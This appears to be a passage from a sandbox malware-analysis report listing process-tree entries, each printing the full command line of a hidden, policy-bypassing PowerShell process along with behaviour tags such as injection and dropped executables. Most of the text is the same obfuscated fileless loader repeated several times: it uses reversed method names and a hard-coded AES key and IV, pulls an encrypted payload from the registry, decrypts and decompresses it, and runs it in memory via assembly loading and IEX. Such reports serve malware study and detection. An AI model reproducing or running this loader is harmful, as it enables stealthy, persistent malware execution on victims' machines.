[System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:1212
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4352).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:6132
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4352).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4076
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4352).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join 